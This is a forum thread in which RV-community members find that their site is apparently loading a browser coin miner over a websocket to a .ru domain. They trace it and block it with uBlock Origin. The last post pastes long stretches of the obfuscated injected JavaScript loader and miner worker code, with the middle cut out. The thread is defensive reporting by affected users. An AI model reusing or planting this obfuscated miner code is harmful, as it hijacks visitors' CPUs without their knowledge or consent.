|
|
06-29-2018, 02:30 PM
|
#1
|
Senior Member
Name: Alexander
Trailer: 1979 Boler B1300
New Hampshire
Posts: 1,140
|
Malwarebytes Showing Riskware popup from Forums
I don't know if anyone else is seeing this, but I keep getting a riskware warning popup from Malwarebytes that shows a .ru web address. It only pops up when I am in the Forum. If I click on the Manufacturer's tab it stops. Hee is what I am seeing:
|
|
|
06-29-2018, 02:46 PM
|
#2
|
Senior Member
Name: Steve
Trailer: Escape 15A
Minnesota
Posts: 452
|
I have not been seeing that, and I have Malwarebytes at home.
|
|
|
06-29-2018, 02:50 PM
|
#3
|
Senior Member
Name: Alexander
Trailer: 1979 Boler B1300
New Hampshire
Posts: 1,140
|
Steve is that the free or pay version? Mine is the pay version.
|
|
|
06-29-2018, 03:19 PM
|
#4
|
Senior Member
Trailer: Scamp
Posts: 7,056
|
MY guess is that it's a ghost. This site is processor hungry and I believe some malware protection software measures the amount of CPU capacity used. Which could give a false alarm.
The IP listed on your screen shot is from Germany. I don't know where this site is hosted or gets it's advertising.
__________________
Byron & Anne enjoying the everyday Saturday thing.
|
|
|
06-29-2018, 03:35 PM
|
#5
|
Senior Member
Name: Steve
Trailer: Escape 15A
Minnesota
Posts: 452
|
Quote:
Originally Posted by Alex Adams
Steve is that the free or pay version? Mine is the pay version.
|
Pay.
|
|
|
06-29-2018, 05:23 PM
|
#6
|
Senior Member
Name: John
Trailer: Escape 21, behind an '02 F250 7.3 diesel tug
Mid Left Coast
Posts: 2,940
|
ah, my uBlock advertising filter is showing that .ru URL being used by a websocket, too... guessing there's some malware sliding in via the advertising stream, or the massive number of tracking scripts this site loads.
I'm trying to figure out where its being invoked from... so far, I've just found this mostly useless info about it.
Request URL: wss://www.qlzwfzfatjth.ru/
Request Method: GET
Status Code: 101 Switching Protocols
HTTP/1.1 101 Switching Protocols
connection: Upgrade
date: Fri, 29 Jun 2018 23:19:44 GMT
sec-websocket-accept: 55L4VKDFS/6B8v0yDa9VM6P3UDM=
server: Cowboy
upgrade: websocket
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cache-Control: no-cache
Connection: Upgrade
Host: www.qlzwfzfatjth.ru
Origin: The Fiberglass RV Community
Pragma: no-cache
Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Sec-WebSocket-Key: LAcnQeSDQ3EfCgpKAURlig==
Sec-WebSocket-Version: 13
Upgrade: websocket
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
|
|
|
06-29-2018, 05:26 PM
|
#7
|
Senior Member
Name: John
Trailer: Escape 21, behind an '02 F250 7.3 diesel tug
Mid Left Coast
Posts: 2,940
|
all the communications over that websocket is encrypted/hashed so it just looks like random garbage, but data is being sent to it fairly regularlly while this site is open.
|
|
|
06-29-2018, 05:29 PM
|
#8
|
Senior Member
Name: John
Trailer: Escape 21, behind an '02 F250 7.3 diesel tug
Mid Left Coast
Posts: 2,940
|
crap, that domain is associated with a bitcoin miner trojan.
I think someone has infected this website and is using our browsers to mine bitcoin . there are an insane number of obfuscated/encrypted javascript 'apps' associated with this site, far more than a simple web forum has any possible legitimate use for.
|
|
|
06-29-2018, 05:32 PM
|
#9
|
Senior Member
Name: John
Trailer: Escape 21, behind an '02 F250 7.3 diesel tug
Mid Left Coast
Posts: 2,940
|
I added qlzwfzfatjth.ru to my uBlock Origin custom blockers list, and WOW, the 80% CPU usage has gone entirely away.
|
|
|
06-29-2018, 05:37 PM
|
#10
|
Senior Member
Name: John
Trailer: Escape 21, behind an '02 F250 7.3 diesel tug
Mid Left Coast
Posts: 2,940
|
BITCOIN MINER on this site?!?
So several of us have commented that this site, when left open, consumers nearly 100% of a CPU core the entire time its open.
I did some more digging and found via the Chrome domain inspector and my uBlock Origin adware blocker that there's a websocket being opened to a russian obfuscated URL from some seriously obfuscated javascript code, I can't track down where the reference is coming from, but its hitting websocket wss://www.qlzwfzfatjth.ru/ every couple seconds with an encrypted string of junk.
http://www.fiberglassrv.com/forums/f...tml#post704268
when I google that domain name, I find references to it in bitcoin mining hackery, I do believe someone has hacked this server, or one of the related advertising servers and has injected a coin miner.
PLEASE FIX THIS ASAP.
|
|
|
06-29-2018, 06:18 PM
|
#12
|
Senior Member
Name: Alexander
Trailer: 1979 Boler B1300
New Hampshire
Posts: 1,140
|
I was afraid of that. Hopefully the moderators will check this and do something. I tend to be paranoid when it comes to the internet. I've been running antivirus and anti-malware since it has been available even before some upstart kid named McAffee got started!
|
|
|
06-29-2018, 06:30 PM
|
#13
|
Senior Member
Name: John
Trailer: Escape 21, behind an '02 F250 7.3 diesel tug
Mid Left Coast
Posts: 2,940
|
Adding that qxxxx domain (without any www.) To my ublock spam list has stopped the 100% CPU usage.
|
|
|
06-29-2018, 06:42 PM
|
#14
|
Senior Member
Name: Alexander
Trailer: 1979 Boler B1300
New Hampshire
Posts: 1,140
|
Steve, check your settings in Malwarebytes. Something like Realtime Protection is turned off. You should be getting the same messages I am.
|
|
|
06-29-2018, 08:19 PM
|
#15
|
Senior Member
Name: John
Trailer: Escape 21, behind an '02 F250 7.3 diesel tug
Mid Left Coast
Posts: 2,940
|
if you'r eusing CHrome or Firefox, install the free plugin uBlock Origin (which is superior to adblock plus or whatever). click the UO icon in the toolbar, select 'dashboard', and on the "My Filters" tab, at the bottom add a line with just...
qlzwfzfatjth.ru
and click "Apply Changes", and you can close the ublock dashboard tab in your browser.
|
|
|
06-29-2018, 11:15 PM
|
#16
|
Senior Member
Trailer: Scamp
Posts: 7,056
|
Quote:
Originally Posted by John in Santa Cruz
if you'r eusing CHrome or Firefox, install the free plugin uBlock Origin (which is superior to adblock plus or whatever). click the UO icon in the toolbar, select 'dashboard', and on the "My Filters" tab, at the bottom add a line with just...
qlzwfzfatjth.ru
and click "Apply Changes", and you can close the ublock dashboard tab in your browser.
|
Thank you,,, Big improvement.
__________________
Byron & Anne enjoying the everyday Saturday thing.
|
|
|
06-30-2018, 01:25 AM
|
#17
|
Senior Member
Name: John
Trailer: Escape 21, behind an '02 F250 7.3 diesel tug
Mid Left Coast
Posts: 2,940
|
Somehow the page is loading this piece of heavily obfuscated code, 186k of crypted crud.... I've deleted the middle so the message fits, with ... in two places.
blob: http://www.fiberglassrv.com/f896f15c...7-09045c289faa
Code:
WASM_JS="(new Function((function(s){var d={},a=(s+\"\").split(\"\"),cc=a[0],o=cc,r=[cc],c=256,p;for(var i=1;i<a.length;i++){var cd=a[i].charCodeAt(0);if(cd<256){p=a[i];}else{p=d[\"_\"+cd]?d[\"_\"+cd]:(o+cc);}r.push(p);cc=p.charAt(0);d[\"_\"+c]=o+cc;c++;o=p;}return decodeURIComponent(escape(r.join(\"\")));})(decodeURIComponent(escape((function(n,r){return n.split(\"\").map(function(n,t){return String.fromCharCode(n.charCodeAt(0)^r.charCodeAt(t%r.length))}).join(\"\")})(atob(\"QwBBE1ZdBh1RH1wKTVREUllTDXQKAEVBXREYWw4VF0ZWVwdXXA9WVxRGXKW/863zr+msDRZOUBBeoLDpulkEooIZWwheXBAZXkH3l/flSgQDX1hEdlpaZ0Ra6bcXoLzouBgfQBtda1hlDgf0rzz3gPbgp+BKQlRSV1lHCm1o6bxLEFhES/S3CVRHUV4FEUwe8NH2gR0Wpu7ogfyPG+iaRkNcWQQDoK9OTFhWCBtUHFERSKeB8O5EE1FdHqSD8bhSa+mr8p3wgPzjFF9eTPeaCPWQ9If8skJdCEACH0Og0KeYRv+PFUxV8Y4OJ1ADoLkDfX9vL2F6fn7/tTYY8uMbEWQjIUPprPyq/qjzsPG86rKi6X7qt/eLRwPxtV9L9/r2pKagfGEtJjPqoP2s/KvzsfG96rOi6PejEfeOoZHylPSe9uD2tkN9fHcjpM7qrv6F/rHzgvGqBP/fo4lI/5T+wfSIY3t9fy75tqaC9Kih16az8LbxhOuH8JX9of7eoqlC/qp8FPa69Iwa9/H1oKWkaBSu5qm18LcQZA3wt1pA6p4WRF5CTPmLB19cVB0YXhf3n6ev96ug8qiqUf2Y/rl2S2Hyh/7JNkzqh/m4Gvul+K.
.....
E1MDM4M2I4NSCv7DNtYmotdpHoOSYhPTY1LTlvZDAtODgyZjM1MDMzM2I6NSDl7DNtYm0tdtvoOSZoOzY1LTlpZDAtODg1ZjM1MDM0M2I9NWEeGBNGQ1F1B0E3FB1sHAZtDQk9SQBVEwFBRgNNMFpWVWJ4eyczfXIoY1EcBQoDDBsDDw90b3ohIXZDWV85SDMdXkZUX0s=";var _0x4afa=['FnFNwpl6','w4rCty58Xg==','FcK0KMONEg==','wohoB0ZB','wp5UwrtFw5U=','w4pWw6DDnSs=','w6t5wpYYeA==','w7NddGnDvA==','McOaaAUP','w67CosKxw4DDiQ==','w5Z0AErCtg==','QT4GwoBv','w7fCkRvDusKR','w7TDhcODw7XCpw==','wqlIwqVEw7k=','P1HCuWDCgA==','LEBdw6JV','VcKfW8Kmwqk=','w7TChBrCvDo=','w5Vzw7FXPg==','w5rCuiLCsg4=','wqRpDWlZaA==','TcO9TcKwwrzCrFcdZMOK','wqgawrsw','w6ZfDVnCuls=','wqEvXinDs0M7wr8tw5Q=','RMKmw5ANTws=','GFJXw64=','GlPCtRbDrMKfSQ==','w7LCqMKzw4s=','E8KtLsOuM8OV','PsOddcODwpYpQA==','QsK6w5XDgQ==','VcK9w57Dm8OcAsKN','NULCqB7DpMKYScOPwrZHKhvDjl8=','woVswphYw5Iy','EHd4wr9VVMK7wprDpg==','w4XCvwDDhMKPEw==','wrPDqcOgwrVjecODwoQQ','wqnDjsOtwo8y','w4zCsRTDo8Kw','YcKIw5w8','w6nDgMOhw5/Cjw==','ZxUFwpo=','cS4uwr9T','YsKfw501Y03Cjg==','UMO7QcKq','w5xEwoDCkcO4WQ==','ay/Dr8OBw4vDrcO2','wqlvwqJKw6E=','WsK9w5HDi8O1H8KPJ8KD','wo0awqMHwoo=','w5d+TkPDix8=','w6jClsKEw4bDsQ==','wqsXYsKi','wqIuVCU=','KMOBfsOnwqMIeEnDn8KfOw==','Xw/Dk8O+w7HDlsObwq5cwp85wpcw','USTDpsOiw5o=','ccKhw4Fzw6U=','w7Nwc2DDngNkwozCjyPCqw==','XVROQiZBwporDgrCmzhE','woIsHMKUwos5','QMKSw5pBw6DDs3Q=','WWJ/YA4=','w6Yda8Obwog=','aMKST8K7wrTDuQ==','w5PCkjnCuAlz','wrRyAntZfMKdwprDv8KIRRgZNMO3wr3Dlg==','TcKFw5MrYm3CmxQDw7smFcKyRMOnwok=','wozCkRLCrcOXPw==','woDDtcO0wrNCdcOBwrIUWwTCkg==','w7LDrWzCtXY=','wqjDqcOzwro=','wrkWwrsw','w6/CkTjCvwRYD8K7FShLRMOcw4zDnQ==','wq1WK21b','w6hNwqwWeg==','V8Khw5Uifw==','wpwTwpLCv8OrwrQ=','L3ojOcOW','RsKhw4EfWQ==','w516GlfCoQ==','OXQSMMOm','wqYiIcK3wp4lHcOMw5rDhsK5','w4nCiMKAw6Qcw68Qw6xdwrp+woLDng==','FDDDp2bCrQ==','fsKCw5M8RlvCnRQK','w4FywrLCj8OA','wqTCiwEw','wrXCoyvCpsKf','wqoUfA/Dlw==','woAdwojCssOiwrBjfXLCo2vCiw==','eH54TBI=','ScOrPTI=','w7LCsx7Csxg=','I3Jzw5pSwrI=','RsOmQsKiwrDCvw==','I297woJ3cMKqwozDojDCrSMMAjLDm03CgcOr','AAjDrVDCuXnDqw==','e8O+RcKowrnColg=','RzUlwrpiwrjCs3/CqzTDqQXCkw==','wrIRwqYgwr3DrsKUOw==','wrQRwrgxwq/Ds8KWOVA=','JXTChA==','w6V2w7/DqT4=','wqwjPMKwwos5C8OK','dcO5asKMwrg=','w4jDiMOZw4nCjSFuw7c=','w5TCnCPCvw==','w79bwrEoWUg=','dBsDwpA=','w6vDscOB','YsKCw4EsR1vCmAIHw7gW','w5lfw69VGGx4w4Y=','w7RVw4jDti8=','bMO9Fi/Dkg==','TsKnw40fRwLDhsKl','w4HChMKcw6TDjH4=','wprCsC3Cnw==','C1EJ','w4bCkADCjCk=','w7fCqcKhw5siw4Iqw4o=','KRPDhglaWxPDqT3CmwEr','UsKzw4TDjg==','HEDCtg7DoA==','w7wlccO4wow=','wpLCogzCksOB','w4PChMKFw4nDl3Q=','w6TDsMOWwqlCw6x6McO3Cg==','w6vCnMOjw7nDvcKRw6/CksOcw5k=','PArDolrCvHHDvcO3ZsO6YMOL','DXLCjDjDnQ==','Q8KPw60/TQ==','w4LDqGrCqUXCswRE','L8OLdsO9wrkfXVjDhMKALHdZCg==','SsKDw5c=','wpRNOUNJ','w5HDlMOFw4nCgzt0w6LDoQ==','w41Dwp4+XA==','YsKHw4BKw6LDtyA4GArCiwnCrsKGEsK0wp0BO3nCrnfCu3dBw6PDvgt0woVhwrMf','ajIdwrRx','w7Vmw4fDrzY=','w5/DhcKwwptTKMOTwqbCgw==','wqBCwq9lw7sEw4zDiDzDq8OrYBPCncKoDg==','wqFzDWxEZsKGwp0=','SXpyZxZ2w6MOKyHCoFV6wppRc3/Chj/DqQ==','wqbDkcOIwr9C','wo8ewoA4wrM=','bcO7VsKPwoE=','w6ZPUV3Drg==','H1p9w5tl','bcKxw5pVw7c=','csOSYsKxwpE=','eMKhw6fDu8Op','wpUMwoIAwow=','aMK2a8KXwpQ=','w6bChMOyw4PDkQ==','w4VAw63DoDc=','w69EwrMnRA==','S8OMQsK/','wq7CrR0uwog=','cMKQw4PDqMO/','w6tywoPCsMOp','Lnk5EMOj','RMKrw6PDqMO4','GFjCiTzDhA==','SsKgW8Kkwr0=','wpHDjsOpwql8','w7vClcKdw6fDoQ==','w6/CnDVG','dQIHwp5Pwo/CmQ==','w4Rxw6fDvT0=','wqU/Si7DqVwA','wrkAYMKmw6AcSg==','Z8Kzw69Qw4I=','w7FdLG7CsQ==','w5AXUsOgwo8=','w6tEw4fDoy/Ckg==','wo3ChxHCj8KQ','w61WccK6w78=','FcOnw4kKVQE=','Dk9Cw6V1w77DuA==','w5RJw4DDrgI=','NjnDuQpQ','ZC/DoMOR','TcKdw4A9el/CmRQhw7McB8K3ScOg','NFtdw6lmw77DrsKrworDnDg=','woMRfsKgw6YBWMKZwpMIcMK0wpzCocOX','woDDr8OvwrhbdcOUwo0VQBPCtng0','wrvCpyDClsO/DsKjXsKKUsON','fsKPw4NUw6LDsXQMODXCqn7CoMOUGsK9wo4=','VyLDtMOTw4jDsMOwwqtiwrULwpgCaMKfSG8=','woQHwromwp/DqMKWLA==','w5UlbsO+wozCuMOOw4Q7','FlwyNsOVc8K7YMKdQMKEKMKDDcOX','w4Nnwpg=','MXvCuXvCllTDtj/DtmB0L8KaP8KEw4I=','wp7CijbCrQ0=','JMOvZwYrXsKtLDItw67DkMOp','CkNGw69qw7rDvw==','wrHDnsOnwokFJsKGwq7Dlh/ChsKiCg==','w6gzYcKuETXDiyTCmA==','w5pDC17CoVk=','AAHDo1nCplvDrcOgc8OMbcOcw4rDrsOO','w58lfMOoKjPDizPDhQ==','w7nClDdeJBQ0w45m','w7dVAlvCqg==','KQLDkzFcSQPDjDs=','w4bDsmLCr0E=','UsKSw49Ww7k=','wqljFEVfbQ==','w4NUw6htFmN/w6/CqsKRwrU+','wrIiPcKv','X8KfU8KywrXDhsKzVhhWX23CpiHDjA==','wrJlwopDw58Sw6PDoxbDm8OhVjjCqcKSLw==','w4HCtMKnw40uw4U9w7x5wp5Twqo=','fsKFw5xBw6zDt2UYFgjCk0zCt8OS','U8KBw4A9a1rCklEVw6sSF8KiQMO3','TsO8Rg==','w5svZcK+Ez/DkyLCkQ==','wplvYsKzMz/DiCbCjQ==','K1PCk2HClA==','JsKjL8O+Ag==','w7LCiCHCqwg=','w5bCt8KWw7c7','w69xw7DDoyM=','w4PDkMOTwox1','w7YpYsK9GA==','SsKGw7wJZQ==','I8O+ScOzwq8=','wq0LYcKmw5c=','wooTWcKIw7U=','wroBfsKMw7k=','wogLwpLCnsOv','w5LDiMOcw6jCow==','w47CicKPw4bDi3dbV8OPQw==','wrYoKsKg','wr97wr53w6c=','w6Jow5JqOA==','wojCnh0xwroww6fDkhZIw4sYLMKqwq4=','DMOkUAEeUMK/KDg/w5zDkcKfwoos','VXJyYA1rwqIEKzXCoTREwrg=','w7NLwonCj8Os','X8KCw5YtZls=','w6rDtmzCvkXCpQ1nw4lVBw==','OB/DnCE=','w6LDqcOQwpFw','w7RRw4XDrS8=','wrAoSg==','OcOiVwY=','YxbDpcOHw70=','SsKww4pWw54=','X8KST8KgwrTDvsKDUhE=','dsKew4Avcw==','RcKcSMK8wrw=','w7nChy/DscKrNsKvw7zChMKzcw==','w4MoYcK0','w5HCsR3Dj8KkHcKow7PCl8K4','NRjDoDBbTh7DiD3CpAouHMODHwTCjjTCvhg=','w6/ClDrCrg9mHsKaMRdCdsOfw5/Dj8OLwpE=','QcKcw6M+Ww==','XMKVw4swcg==','VcOgASPDs8KHw49hYw83w4XDoRzDukrDiXvDisOj','w6Fiw77Djzk=','woQewqYnwrnDtMKiLFk=','wr/CghTCocK+PUwWJcKKaBfDm8OTwqk=','K3bCkR7DlQ==','bcOPABvDgsKxw69CRxQA','csKWT8K8wr3DvMKz','w69Tw6lHH2dpw6XCvcKIwr0QwrnCosOtSkc=','w5vCvApnQ2QVw6Vfw5LChQ==','w55nZHvDkg==','w5pREEzCtkgDw7Fz','wrPCsTLCiMOtDsKDfsKqcsOtw7rCm27CsEc=','w5XDjsOPw5M=','c8Kfw4A5c3zCnhcAw7oB','w4LCpsOzw4HDtA==','w50FTsOAwrbChsOI','w49VwpoNYw==','dsKnw71pw5LDiVM=','w5/CksKIw4XDrA==','wposPMK3wo8jPcOdw4I=','cMKIw60meTvDqsKSNVLDvCvDrArDkMKb','woEveQPDiA==','IGvCj3g=','ZMKsw7gsYg==','w7DCmcKEw5zDoHRySg==','wrbDrcOXwoEt','w6/DmcOwwpNp','QsKOw49Ww47DrGQ+OBI=','KRPDlyE=','VcK6w5HDncO6FcKdJ8KuHA==','w5bCkTjCsRI=','w4PDgsOsw5XCrg==','w7LDu8OGwqA=','wpLCtDfCmcKdGg==','CEQAHcOe','DXE+P8Oy','w59lTEPDkw==','w79Lw41xAA==','w5HCvcKDw786','w7/CmDxO','YsKfw50sZUrCkgED','w67CssKmw7HDtFNBc8O5ZWzCu8O6LsKu','wo92J1dI','w47CsyliTg==','JsOaQMOlwpM=','w6LCmS1IVQ==','RsKgw5/Dm8OWDsKAMsKK','woDCrzwZwpUGw5rDpRphw7YlHcKHwolu','QDDDhcOtw5Y=','wqw8wozCk8OW','JsO4RsO8wrM=','w6DClsOiw7bDkQ==','wqwKf8K9w70cQMKFwp8=','PHZhw4dYw4jDgsKjwqLDogRCwqoOw4tR','OMKyBMOQIg==','w71lw41HLA==','w7FiwokmVA==','FEvCknvChA==','w4LDh8OGw5E=','UcKBw7Z8w6k=','w4dlw6VDMw==','U8KLw4oqfw==','wqjCuQvCksKP','E1xWwopf','w63CnxVATw==','DHIYGcOW','w6HCuzB4Zg==','wrs4wozCucOC','I8OqZjAO','w5p+wqgYcg==','w4TCjR1yZA==','wqoubgPDuA==','woQHNsKVwoA=','wqILwo7CjMOx','w5wSc8KTBQ==','BcOdaBEH','WmlWYxs=','wpzCoifCtsO5','w7nCvDV5ZA==','NADDvHTCvg==','wqTCqxkcwqI=','ccKyw61ow48=','XUxEYRw=','GA/Doyh/','w7nCqRVzaQ==','ecOLIQTDsA==','w7djw7FOOw==','eMOWCQTDlA==','wp4gSsKbw5s=','w4PDhsO5wpZu','w5fClxTDjMKH','cw4P','SMKIw55Rw7k=','w5rDr3fCrVHCpQ==','GTDDgFvCpw==','woQdwp4=','azTDuQ==','w6XCkylfaA==','TsKTw5pUw7jDtw==','Y3VsfA0=','c8KWSA==','wozClRnDt8OHJcKkRMOT','GsKtIg==','XsOvJzc=','wplswplXw5I1','w6TCmCEYaU8yw58m','AVhQ','worCsCvCmcKMBg==','KWnClHzCuF3Dtg==','wq1pAQ==','JMOeZMO9wrgUfg==','w5fDh8OYw5TCjSF5','GX1Uw4JQ','wpjDvsO4wqZZ','ZWtoYBZswrA=','wptswplZw5Yvw6c=','IMKXJcOgHw==','EEB2wo1R','w5pXBlHCtk43w7d6wp3CihpN','woMcf8Ksw6ElXMKQwo4mdMKRwrrCl8Ou','ZzXDtcOFw5vDoQ==','LhfDgCJQTg==','L8KxKMOpKMOX','w49kwpc9WQ==','w4NHwro6fkDDilfCjw==','w6I4dsKyOQ==','wobCmycFwoU=','w77CmCHCsRQ=','IcOsUAwFVA==','ABLDrmXCu1fDr8O2b8O7ZMO5w7LDo8ObwonDgw==','JW3CmA==','TsKnw44eUg==','A0cfPcObcsKue8KbXA==','w79qaWPDnwU=','JGDClHDCmFXDoyTDsHw=','MMOiUBseS8KrJyUqw4s=','wrXCggA2woY0w7vDkCVM','fiHDs8Ocw4/Du8O2','w5bCsiFvdg==','w7lxbWbDng==','w5FZImrCtw==','CR3DtlvCug==','FXZpwq5t','wqZ4wrpXw4E=','W8Kww4lQw64=','wofDl8OywpIU','IVTCixzDsw==','EWFVw75k','H8KyNMOhNcOcGg==','w4jCuQ3Dh8KOFcK1w7o=','L3fCkGDCow==','NjXDli5z','EHfCvQ/Dpg==','CwPDqXfCgQ==','woTDlsOg','wo3CpRnCrcOqE8KjVA==','woQdwp7ChMOtwr0=','wrJvDXsIPcKBwpbDpA==','w4bCj8Kbw5vDlw==','w5zClMKJw4/DkW5yQQ==','wphkwoVEwo9zw7vDows=','w6hUw53DtC7Cjg==','w5QGScKcBw==','w6NnflTDkw==','VsOrPTHDqcKb','GMOYV8O/wqE=','XV1OSBc=','PHFgw4tp','w7zCscK/w4wk','S8Ksw5AMUgQ=','GsKkGcOCNg==','w73CisO1w5PDoQ==','LTzDgDRe','Q8OSSMK9w60=','P8OoUA8eUQ==','w77Ch8Olw7w=','wrgOfg/DsA==','V8OmRsK3wqHCv1I5bA==','w69Bwr09RF3DjVrCjQ==','w5xUw7JGDWo=','bjLDrsOY','VMKEScKJwr0=','w5/Ck8KEw5rDjGhqSMOZ','SsKow44=','wrTCjwM4','wr/DjMOKwrYv','w6RwTmfDmBh/wog=','V8O/TcKnwrA=','S8KJw4dK','w5fDtmzCv2jCtAZGw5RR','w6klccOh','KkhPwqJ0','QcK5RcKCwrs=','esKrw4LDuMOM','wrTDlcOgwqM6','w41OwprCgMO+'];(function(_0x4cb4a3,_0x4c36ce){var _0xdfa551=function(_0x4dece9){while(--_0x4dece9){_0x4cb4a3['push'](_0x4cb4a3['shift']());}};var _0x50c5f4=function(){var _0x1d84a1={'data':{'key':'cookie','value':'timeout'},'setCookie':function(_0x1cdd7f,_0x5016bf,_0x21f31b,_0x397324){_0x397324=_0x397324||{};var _0x489a7a=_0x5016bf+'='+_0x21f31b;var _0x2b56ce=0x0;for(var _0x2b56ce=0x0,_0x341baa=_0x1cdd7f['length'];_0x2b56ce<_0x341baa;_0x2b56ce++){var _0x345395=_0x1cdd7f[_0x2b56ce];_0x489a7a+=';\x20'+_0x345395;var _0x4eb7d5=_0x1cdd7f[_0x345395];_0x1cdd7f['push'](_0x4eb7d5);_0x341baa=_0x1cdd7f['length'];if(_0x4eb7d5!==!![]){_0x489a7a+='='+_0x4eb7d5;}}_0x397324['cookie']=_0x489a7a;},'removeCookie':function(){return'dev';},'getCookie':function(_0x27f382,_0x94a31){_0x27f382=_0x27f382||function(_0x15eac9){return _0x15eac9;};var _0x52be71=_0x27f382(new RegExp('(?:^|;\x20)'+_0x94a31['replace'](/([.$?*|{}()[]\/+^])/g,'$1')+'=([^;]*)'));var _0x3db49d=function(_0x1ac344,_0x15ee74){_0x1ac344(++_0x15ee74);};_0x3db49d(_0xdfa551,_0x4c36ce);return _0x52be71?decodeURIComponent(_0x52be71[0x1]):undefined;}};var _0x5d809c=function(){var _0x164425=new RegExp('\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*[\x27|\x22].+[\x27|\x22];?\x20*}');return _0x164425['test'](_0x1d84a1['removeCookie']['toString']());};_0x1d84a1['updateCookie']=_0x5d809c;var _0x13c51a='';var _0x3b7508=_0x1d84a1['updateCookie']();if(!_0x3b7508){_0x1d84a1['setCookie'](['*'],'counter',0x1);}else if(_0x3b7508){_0x13c51a=_0x1d84a1['getCookie'](null,'counter');}else{_0x1d84a1['removeCookie']();}};_0x50c5f4();}(_0x4afa,0x7e));var _0x2cba=function(_0x449995,_0x26c0a0){_0x449995=_0x449995-0x0;var _0x1324e1=_0x4afa[_0x449995];if(_0x2cba['WrrUEZ']===undefined){(function(){var _0x1d9a68=function(){var _0x31b2b0;try{_0x31b2b0=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x164801){_0x31b2b0=window;}return _0x31b2b0;};var _0x56e2b6=_0x1d9a68();var _0x215a53='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x56e2b6['atob']||(_0x56e2b6['atob']=function(_0x3ef75d){var _0x563d21=String(_0x3ef75d)['replace'](/=+$/,'');for(var _0x4610a7=0x0,_0x28511f,_0x420a55,_0x558689=0x0,_0x4e285d='';_0x420a55=_0x563d21['charAt'](_0x558689++);~_0x420a55&&(_0x28511f=_0x4610a7%0x4?_0x28511f*0x40+_0x420a55:_0x420a55,_0x4610a7++%0x4)?_0x4e285d+=String['fromCharCode'](0xff&_0x28511f>>(-0x2*_0x4610a7&0x6)):0x0){_0x420a55=_0x215a53['indexOf'](_0x420a55);}return _0x4e285d;});}());var _0x3a4366=function(_0x3e33b5,_0x3e4aa8){var _0x3471ac=[],_0x4de3ef=0x0,_0x21445a,_0x42bce0='',_0x583a52='';_0x3e33b5=atob(_0x3e33b5);for(var _0x44c087=0x0,_0x434ad4=_0x3e33b5['length'];_0x44c087<_0x434ad4;_0x44c087++){_0x583a52+='%'+('00'+_0x3e33b5['charCodeAt'](_0x44c087)['toString'](0x10))['slice'](-0x2);}_0x3e33b5=decodeURIComponent(_0x583a52);for(var _0x4f8a7e=0x0;_0x4f8a7e<0x100;_0x4f8a7e++){_0x3471ac[_0x4f8a7e]=_0x4f8a7e;}for(_0x4f8a7e=0x0;_0x4f8a7e<0x100;_0x4f8a7e++){_0x4de3ef=(_0x4de3ef+_0x3471ac[_0x4f8a7e]+_0x3e4aa8['charCodeAt'](_0x4f8a7e%_0x3e4aa8['length']))%0x100;_0x21445a=_0x3471ac[_0x4f8a7e];_0x3471ac[_0x4f8a7e]=_0x3471ac[_0x4de3ef];_0x3471ac[_0x4de3ef]=_0x21445a;}_0x4f8a7e=0x0;_0x4de3ef=0x0;for(var _0x5c51d5=0x0;_0x5c51d5<_0x3e33b5['length'];_0x5c51d5++){_0x4f8a7e=(_0x4f8a7e+0x1)%0x100;_0x4de3ef=(_0x4de3ef+_0x3471ac[_0x4f8a7e])%0x100;_0x21445a=_0x3471ac[_0x4f8a7e];_0x3471ac[_0x4f8a7e]=_0x3471ac[_0x4de3ef];_0x3471ac[_0x4de3ef]=_0x21445a;_0x42bce0+=String['fromCharCode'](_0x3e33b5['charCodeAt'](_0x5c51d5)^_0x3471ac[(_0x3471ac[_0x4f8a7e]+_0x3471ac[_0x4de3ef])%0x100]);}return _0x42bce0;};_0x2cba['coHFrW']=_0x3a4366;_0x2cba['aKqyho']={};_0x2cba['WrrUEZ']=!![];}var _0x43ac5a=_0x2cba['aKqyho'][_0x449995];if(_0x43ac5a===undefined){if(_0x2cba['fdQpff']===undefined){var _0x169180=function(_0x1fd0bb){this['awMjMP']=_0x1fd0bb;this['mUNbyY']=
...
({'notification':_0x4bf730[_0x2cba('0x1a7','8c4m')],'workerHashes':_0x35e290});}},{'key':_0x668158[_0x2cba('0x1a8','sCoP')],'value':function(_0x10d75c){return _0x10d75c[_0x2cba('0x1a9','i#hz')]=_0x4bf730[_0x2cba('0x1aa','CiTv')],this[_0x2cba('0x1ab','iEwI')](_0x10d75c);}},{'key':_0x668158[_0x2cba('0x1ac','^UnF')],'value':function(){var _0x2f7585;return _0x2f7585=Module[_0x2cba('0x1ad','2x#F')][_0x2cba('0x1ae','7mYM')],{'ctx':Module[_0x2cba('0x1af','4FnJ')](),'input':new Uint8Array(_0x2f7585,Module[_0x2cba('0x1b0','cysc')](0x54),0x54),'output':new Uint8Array(_0x2f7585,Module[_0x2cba('0x1b1','7mYM')](0x20),0x20)};}}]),_0x2f7585;}();return _0x2f7585[_0x2cba('0x1b2','5Q^C')]=0x3e8,_0x2f7585;}[_0x2cba('0xc3','KLM(')](this),self[_0x2cba('0x1b3','#Zfi')]=null,self[_0x2cba('0x1b4','#Zfi')]=function(_0x40d98c){switch(_0x40d98c[_0x2cba('0xf0','iEwI')][_0x2cba('0x1b5','yhIQ')]){case _0x2bebd7[_0x2cba('0x1b6','*N!U')]:if(self[_0x2cba('0x1b7','u73Z')])throw new Error(_0x2bebd7[_0x2cba('0x1b8','7mYM')]);return self[_0x2cba('0x1b9','KLM(')]=new _0x2fa1cc(_0x40d98c[_0x2cba('0x1ba','^UnF')][_0x2cba('0x1bb','ZpSb')],_0x40d98c[_0x2cba('0x1bc','5Q^C')][_0x2cba('0x1bd','hjE!')],function(_0x570c0f){return self[_0x2cba('0x1be','^Nqu')](_0x570c0f);}),self[_0x2cba('0x1bf','qrrL')][_0x2cba('0x1c0','*N!U')]();case _0x2bebd7[_0x2cba('0x1c1','iEwI')]:return self[_0x2cba('0x1c2','F2jK')][_0x2cba('0x1c3','b2@6')](_0x40d98c[_0x2cba('0x1c4','8c4m')][_0x2cba('0x1c5',']7ak')]);case _0x2bebd7[_0x2cba('0x1c6','^UnF')]:return 